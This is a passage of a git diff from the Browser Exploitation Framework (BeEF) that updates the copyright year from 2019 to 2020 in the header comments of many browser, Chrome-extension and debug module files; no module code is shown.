diff --git a/modules/browser/remove_hook_element/config.yaml b/modules/browser/remove_hook_element/config.yaml index 1613d8d2c..84f156b88 100644 --- a/modules/browser/remove_hook_element/config.yaml +++ b/modules/browser/remove_hook_element/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/remove_hook_element/module.rb b/modules/browser/remove_hook_element/module.rb index 2adffa97a..af887bd30 100644 --- a/modules/browser/remove_hook_element/module.rb +++ b/modules/browser/remove_hook_element/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index ca6544f36..dc3febe50 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/spyder_eye/config.yaml b/modules/browser/spyder_eye/config.yaml index 13da105fe..cabac0cdb 100644 --- a/modules/browser/spyder_eye/config.yaml +++ b/modules/browser/spyder_eye/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/spyder_eye/module.rb b/modules/browser/spyder_eye/module.rb index 0e4b7704e..63c20255a 100644 --- a/modules/browser/spyder_eye/module.rb +++ b/modules/browser/spyder_eye/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/unhook/command.js b/modules/browser/unhook/command.js index 866bdae83..32104deaf 100644 --- a/modules/browser/unhook/command.js +++ b/modules/browser/unhook/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/unhook/config.yaml b/modules/browser/unhook/config.yaml index 704905954..d24e4a541 100644 --- a/modules/browser/unhook/config.yaml +++ b/modules/browser/unhook/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/unhook/module.rb b/modules/browser/unhook/module.rb index d45580ab3..e9b877d9d 100644 --- a/modules/browser/unhook/module.rb +++ b/modules/browser/unhook/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/webcam/command.js b/modules/browser/webcam/command.js index 54ab49b42..a0103eae4 100644 --- a/modules/browser/webcam/command.js +++ b/modules/browser/webcam/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/webcam/config.yaml b/modules/browser/webcam/config.yaml index 59e0fd2f8..e718a4f9a 100644 --- a/modules/browser/webcam/config.yaml +++ b/modules/browser/webcam/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/webcam/module.rb b/modules/browser/webcam/module.rb index d34bff450..788def0b5 100644 --- a/modules/browser/webcam/module.rb +++ b/modules/browser/webcam/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/webcam_html5/command.js b/modules/browser/webcam_html5/command.js index c8a99c84c..bdd6bdb02 100644 --- a/modules/browser/webcam_html5/command.js +++ b/modules/browser/webcam_html5/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/webcam_html5/config.yaml b/modules/browser/webcam_html5/config.yaml index fd87cd354..63602f1ae 100644 --- a/modules/browser/webcam_html5/config.yaml +++ b/modules/browser/webcam_html5/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/webcam_html5/module.rb b/modules/browser/webcam_html5/module.rb index 2baaea2b4..cbe4051e3 100644 --- a/modules/browser/webcam_html5/module.rb +++ b/modules/browser/webcam_html5/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/webcam_permission_check/cameraCheck.as b/modules/browser/webcam_permission_check/cameraCheck.as index 6f4f5cc4b..958b5a670 100644 --- a/modules/browser/webcam_permission_check/cameraCheck.as +++ b/modules/browser/webcam_permission_check/cameraCheck.as @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/webcam_permission_check/command.js b/modules/browser/webcam_permission_check/command.js index 62605afa2..c202e9efd 100644 --- a/modules/browser/webcam_permission_check/command.js +++ b/modules/browser/webcam_permission_check/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/browser/webcam_permission_check/config.yaml b/modules/browser/webcam_permission_check/config.yaml index c3f403355..7c287fd0b 100644 --- a/modules/browser/webcam_permission_check/config.yaml +++ b/modules/browser/webcam_permission_check/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/browser/webcam_permission_check/module.rb b/modules/browser/webcam_permission_check/module.rb index a87f5ca3e..7819e6eec 100644 --- a/modules/browser/webcam_permission_check/module.rb +++ b/modules/browser/webcam_permission_check/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/execute_tabs/command.js b/modules/chrome_extensions/execute_tabs/command.js index 41c9b0894..71d7f69b1 100644 --- a/modules/chrome_extensions/execute_tabs/command.js +++ b/modules/chrome_extensions/execute_tabs/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/chrome_extensions/execute_tabs/config.yaml b/modules/chrome_extensions/execute_tabs/config.yaml index 67be75d9c..013bcd9c9 100644 --- a/modules/chrome_extensions/execute_tabs/config.yaml +++ b/modules/chrome_extensions/execute_tabs/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/execute_tabs/module.rb b/modules/chrome_extensions/execute_tabs/module.rb index 1f30f8b8c..79586243b 100644 --- a/modules/chrome_extensions/execute_tabs/module.rb +++ b/modules/chrome_extensions/execute_tabs/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/get_all_cookies/command.js b/modules/chrome_extensions/get_all_cookies/command.js index 6121b9bf2..4204c4dd7 100755 --- a/modules/chrome_extensions/get_all_cookies/command.js +++ b/modules/chrome_extensions/get_all_cookies/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/chrome_extensions/get_all_cookies/config.yaml b/modules/chrome_extensions/get_all_cookies/config.yaml index a7e194588..c76baf9ca 100755 --- a/modules/chrome_extensions/get_all_cookies/config.yaml +++ b/modules/chrome_extensions/get_all_cookies/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/get_all_cookies/module.rb b/modules/chrome_extensions/get_all_cookies/module.rb index 690c3f244..66f3bf4e4 100755 --- a/modules/chrome_extensions/get_all_cookies/module.rb +++ b/modules/chrome_extensions/get_all_cookies/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/grab_google_contacts/command.js b/modules/chrome_extensions/grab_google_contacts/command.js index 6298d69fb..e8c759584 100644 --- a/modules/chrome_extensions/grab_google_contacts/command.js +++ b/modules/chrome_extensions/grab_google_contacts/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/chrome_extensions/grab_google_contacts/config.yaml b/modules/chrome_extensions/grab_google_contacts/config.yaml index 241fb2233..161da76e6 100644 --- a/modules/chrome_extensions/grab_google_contacts/config.yaml +++ b/modules/chrome_extensions/grab_google_contacts/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/grab_google_contacts/module.rb b/modules/chrome_extensions/grab_google_contacts/module.rb index 7ab7abe72..53b4d55eb 100644 --- a/modules/chrome_extensions/grab_google_contacts/module.rb +++ b/modules/chrome_extensions/grab_google_contacts/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/inject_beef/command.js b/modules/chrome_extensions/inject_beef/command.js index 55e9035d0..1f8bb849e 100755 --- a/modules/chrome_extensions/inject_beef/command.js +++ b/modules/chrome_extensions/inject_beef/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/chrome_extensions/inject_beef/config.yaml b/modules/chrome_extensions/inject_beef/config.yaml index 54fb2eead..e118f3010 100755 --- a/modules/chrome_extensions/inject_beef/config.yaml +++ b/modules/chrome_extensions/inject_beef/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/inject_beef/module.rb b/modules/chrome_extensions/inject_beef/module.rb index df6e828a7..580ee2cbf 100755 --- a/modules/chrome_extensions/inject_beef/module.rb +++ b/modules/chrome_extensions/inject_beef/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/screenshot/command.js b/modules/chrome_extensions/screenshot/command.js index 7b114465f..452701f96 100755 --- a/modules/chrome_extensions/screenshot/command.js +++ b/modules/chrome_extensions/screenshot/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/chrome_extensions/screenshot/config.yaml b/modules/chrome_extensions/screenshot/config.yaml index 073b51859..61b328e3b 100755 --- a/modules/chrome_extensions/screenshot/config.yaml +++ b/modules/chrome_extensions/screenshot/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/screenshot/module.rb b/modules/chrome_extensions/screenshot/module.rb index c0761728e..a0b422009 100755 --- a/modules/chrome_extensions/screenshot/module.rb +++ b/modules/chrome_extensions/screenshot/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/send_gvoice_sms/command.js b/modules/chrome_extensions/send_gvoice_sms/command.js index 9a6762760..0b6a558b8 100755 --- a/modules/chrome_extensions/send_gvoice_sms/command.js +++ b/modules/chrome_extensions/send_gvoice_sms/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/chrome_extensions/send_gvoice_sms/config.yaml b/modules/chrome_extensions/send_gvoice_sms/config.yaml index dc89835eb..b14e4bb41 100755 --- a/modules/chrome_extensions/send_gvoice_sms/config.yaml +++ b/modules/chrome_extensions/send_gvoice_sms/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/chrome_extensions/send_gvoice_sms/module.rb b/modules/chrome_extensions/send_gvoice_sms/module.rb index 03583b913..5660b39df 100755 --- a/modules/chrome_extensions/send_gvoice_sms/module.rb +++ b/modules/chrome_extensions/send_gvoice_sms/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_beef_debug/command.js b/modules/debug/test_beef_debug/command.js index a0987ec28..eef0bb172 100644 --- a/modules/debug/test_beef_debug/command.js +++ b/modules/debug/test_beef_debug/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_beef_debug/config.yaml b/modules/debug/test_beef_debug/config.yaml index 8be160e2c..115cf8a50 100644 --- a/modules/debug/test_beef_debug/config.yaml +++ b/modules/debug/test_beef_debug/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_beef_debug/module.rb b/modules/debug/test_beef_debug/module.rb index 7c36d30fb..90e549b16 100644 --- a/modules/debug/test_beef_debug/module.rb +++ b/modules/debug/test_beef_debug/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_cors_request/command.js b/modules/debug/test_cors_request/command.js index 6d865f71a..3907a70b6 100644 --- a/modules/debug/test_cors_request/command.js +++ b/modules/debug/test_cors_request/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_cors_request/config.yaml b/modules/debug/test_cors_request/config.yaml index 2111bd71c..d1a0a3854 100644 --- a/modules/debug/test_cors_request/config.yaml +++ b/modules/debug/test_cors_request/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_cors_request/module.rb b/modules/debug/test_cors_request/module.rb index f03b59a90..7407c6098 100644 --- a/modules/debug/test_cors_request/module.rb +++ b/modules/debug/test_cors_request/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_dns_tunnel_client/command.js b/modules/debug/test_dns_tunnel_client/command.js index a4864a3dd..3b8bf802d 100644 --- a/modules/debug/test_dns_tunnel_client/command.js +++ b/modules/debug/test_dns_tunnel_client/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_dns_tunnel_client/config.yaml b/modules/debug/test_dns_tunnel_client/config.yaml index 4d1b12893..767801d86 100644 --- a/modules/debug/test_dns_tunnel_client/config.yaml +++ b/modules/debug/test_dns_tunnel_client/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_dns_tunnel_client/module.rb b/modules/debug/test_dns_tunnel_client/module.rb index adfd2f032..23a39cc4b 100644 --- a/modules/debug/test_dns_tunnel_client/module.rb +++ b/modules/debug/test_dns_tunnel_client/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_get_variable/command.js b/modules/debug/test_get_variable/command.js index 9eba4ae87..1d5f3c1ec 100644 --- a/modules/debug/test_get_variable/command.js +++ b/modules/debug/test_get_variable/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_get_variable/config.yaml b/modules/debug/test_get_variable/config.yaml index 07c82bf6b..efb400759 100644 --- a/modules/debug/test_get_variable/config.yaml +++ b/modules/debug/test_get_variable/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_get_variable/module.rb b/modules/debug/test_get_variable/module.rb index 7d5b7ea60..aec58ccb0 100644 --- a/modules/debug/test_get_variable/module.rb +++ b/modules/debug/test_get_variable/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_http_redirect/command.js b/modules/debug/test_http_redirect/command.js index a16add1ef..60315b58e 100644 --- a/modules/debug/test_http_redirect/command.js +++ b/modules/debug/test_http_redirect/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_http_redirect/config.yaml b/modules/debug/test_http_redirect/config.yaml index 5239d244b..1da18655b 100644 --- a/modules/debug/test_http_redirect/config.yaml +++ b/modules/debug/test_http_redirect/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_http_redirect/module.rb b/modules/debug/test_http_redirect/module.rb index 30540ee68..5b11f93fe 100644 --- a/modules/debug/test_http_redirect/module.rb +++ b/modules/debug/test_http_redirect/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_network_request/command.js b/modules/debug/test_network_request/command.js index e17e0b356..12c69940f 100644 --- a/modules/debug/test_network_request/command.js +++ b/modules/debug/test_network_request/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_network_request/config.yaml b/modules/debug/test_network_request/config.yaml index 1de0130ec..6c2911074 100644 --- a/modules/debug/test_network_request/config.yaml +++ b/modules/debug/test_network_request/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_network_request/module.rb b/modules/debug/test_network_request/module.rb index 338cf2c93..de9211b8c 100644 --- a/modules/debug/test_network_request/module.rb +++ b/modules/debug/test_network_request/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_return_ascii_chars/command.js b/modules/debug/test_return_ascii_chars/command.js index 2517440a2..ab250b80f 100644 --- a/modules/debug/test_return_ascii_chars/command.js +++ b/modules/debug/test_return_ascii_chars/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_return_ascii_chars/config.yaml b/modules/debug/test_return_ascii_chars/config.yaml index e2edbeac9..088dd4e0f 100644 --- a/modules/debug/test_return_ascii_chars/config.yaml +++ b/modules/debug/test_return_ascii_chars/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_return_ascii_chars/module.rb b/modules/debug/test_return_ascii_chars/module.rb index 181602f8b..8303a3607 100644 --- a/modules/debug/test_return_ascii_chars/module.rb +++ b/modules/debug/test_return_ascii_chars/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_return_image/command.js b/modules/debug/test_return_image/command.js index ac31415d7..110103d97 100644 --- a/modules/debug/test_return_image/command.js +++ b/modules/debug/test_return_image/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_return_image/config.yaml b/modules/debug/test_return_image/config.yaml index 88a7d4133..06cb8a30e 100644 --- a/modules/debug/test_return_image/config.yaml +++ b/modules/debug/test_return_image/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_return_image/module.rb b/modules/debug/test_return_image/module.rb index 4d26751f5..7a8b9cfaa 100644 --- a/modules/debug/test_return_image/module.rb +++ b/modules/debug/test_return_image/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/modules/debug/test_return_long_string/command.js b/modules/debug/test_return_long_string/command.js index 61598b801..36e7bfe75 100644 --- a/modules/debug/test_return_long_string/command.js +++ b/modules/debug/test_return_long_string/command.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // diff --git a/modules/debug/test_return_long_string/config.yaml b/modules/debug/test_return_long_string/config.yaml index 7a268f55b..630bbb07f 100644 --- a/modules/debug/test_return_long_string/config.yaml +++ b/modules/debug/test_return_long_string/config.yaml @@ -1,5 +1,5 @@ 